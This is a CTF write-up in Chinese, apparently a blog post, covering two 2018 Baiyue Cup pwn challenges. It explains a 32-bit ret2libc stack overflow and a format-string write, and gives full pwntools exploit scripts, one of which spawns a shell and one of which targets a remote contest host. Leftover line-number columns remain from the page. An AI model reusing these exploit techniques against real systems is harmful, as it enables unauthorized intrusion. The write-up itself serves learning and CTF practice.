2018百越杯 pwn

最近省赛要开始了,把去年的题目重新详细的做一遍 较为简单

借鉴了csdn大佬的博客

栈溢出后多个地址和参数的排列顺序的规则

1
2
3
4
5
6
7
8
9
10
11
12
13
以一个简单的函数为例

void foo(int x)
{
int y;
x++;
y = 4;
}
int main(void)
{
foo(2);
return 0;
}

1
2
在调用函数的时候,要传入的参数会放在RET之下,也就是主函数的栈空间的顶端。并且参数是根据调用的顺序依次向下排序的,也就是越早用到越上面。
执行程序

1
就一个NX(栈不可执行),另外还给了libc.so.6,应该是用ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
溢出点很明显因为是32位的程序,payload填充84+4个字节就能完成溢出

因为程序内没有现成的system函数,所以要从libc里提取,为此需要知道程序运行之后libc的加载地址,这样得到libc的加载基址后就计算出system函数在程序运行中的实际地址了。

为此需要用到ret2plt,可以选的函数有puts、write、printf这些程序已经调用过的函数,因为这样plt表中就会有它们对应的got表地址,got表中就存储着这些函数的实际地址,只要控制程序跳转到函数plt表所在位置,程序会根据plt表去查找got表对应位置,从而得到函数在程序运行时的实际位置,以此调用函数。这里我选择在main函数中已经调用过的write函数来泄露got表中write的实际地址(puts和printf也都可以,区别在于参数不同)。

payload='a'*(0x54+4)+write_plt_address+game_addr+'1'+write_got_address+'4'

payload先是用88个‘a’填满缓冲区和ebp,随后是plt表中存储write函数的地址(相当于call write函数),然后跟上game函数的起始地址(main函数首地址也行,目的是为了能第二次进行栈溢出),程序执行完call write后栈顶就变成了game_addr,到时候就会把game_addr当作返回地址。接下来就是write的三个参数,文件标识符,字符串指针,字符串大小。我们需要write的实际地址(puts、printf这些程序之前调用过的函数都在got表中存储着,都可以读取),而这个地址就在got表中存储着。

执行完第一个payload后,获取到write函数的实际地址,用write_addr-write_libc_addr就能得到libc的加载基址。而加载基址加上libc.so.6中system的地址,就是system函数的实际地址了,同理,也能得到libc中"/bin/sh"字符串的地址,以此构造第二次payload。

payload='a'*88+(system_libc_addr+base_addr)+game_addr+(sh_addr+base_addr)

system调用完/bin/sh后就回弹shell了,因此后面的返回地址可以随便写,反正也回不去了-.-

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

#context.log_level = 'debug'



s=process("./pwn")

#gdb.attach(s)

elf=ELF('./pwn',checksec=False)

libc=ELF('/lib/i386-linux-gnu/libc.so.6',checksec=False)



write_plt=elf.plt['write']

write_got=elf.got['write']

game_addr=elf.symbols['game']

write_libc_addr=libc.symbols['write']

system_addr=libc.symbols['system']

sh_addr=next(libc.search('/bin/sh'))



payload='a'*88+p32(write_plt)+p32(game_addr)+p32(1)+p32(write_got)+p32(4)

s.sendlineafter("name ?\n",payload)

#gdb.attach(s)

s.sendlineafter("? (0 - 1024)\n","123")
#gdb.attach(s)

write_addr=u32(s.recvuntil("What'")[-9:-5]) ### 这一句就很迷了 跟之前写的rop不一样 也查不到到底是什么意思
解决了的话会写个小tip。


print hex(write_addr)

base_addr=write_addr-write_libc_addr



payload='a'*88+p32(system_addr+base_addr)+p32(game_addr)+p32(sh_addr+base_addr)

s.sendlineafter("name ?\n",payload)

s.sendlineafter("? (0 - 1024)\n","123")



s.interactive()

format

1
2
最基本的格式化字符串溢出
可以看我之前关于格式化字符串漏洞的文章

1
1、利用格式化漏洞覆盖任意地址的值,这里我们需要覆盖secret的值,所以先要找到secret的地址,在IDA中,可以看到secret在bss段:

1
2
3
4
5
6
2、利用%k$n(k$用于获取格式化字符串中的指定参数)对指定地址进行覆盖

(%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量)
3、在栈中找到format的位置和 char s的位置,计算出他们的偏移

我们用gdb把断点定在printf处

1
然后运行,提示输出后,我就随便输入一个 %d%d

1
观察栈中的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
可以看出,printf的第一个参数(format)地址为:0xffffd920

这个format指向0xffffd94c,指向的这个就是我们char s的地址

有了这两个地址后,我们就可以计算format与char s的地址偏移,

offset = 0xffffd94c0xffffd920 = 0x2c = 44

由于这是32位程序,所以每个format参数占4个字节,即有44/4=11个参数,也就是说,第11个参数的地址,就是我们char s开始的地址。

所以 k=11

我们把secret的地址放到char s开始的地方,那第11个参数的内容就是secret的地址。

这样,我们的%11$n就会把输出字符的个数写进secret。

所以们需要在 %11$n 构造 192 个字符,即%192d,

但由于我们在char s开始的地方放下了secret的地址,占了4个字节,所以只需要填充188个字符即可,也就是%188d

exp

1
2
3
4
5
6
from pwn import *
io=process('./format')
io=remote('117.50.13.182', 33865)
payload = p32(0x0804A048) + '%188d' + '%11$n'
io.sendline(payload)
io.interactive()
0%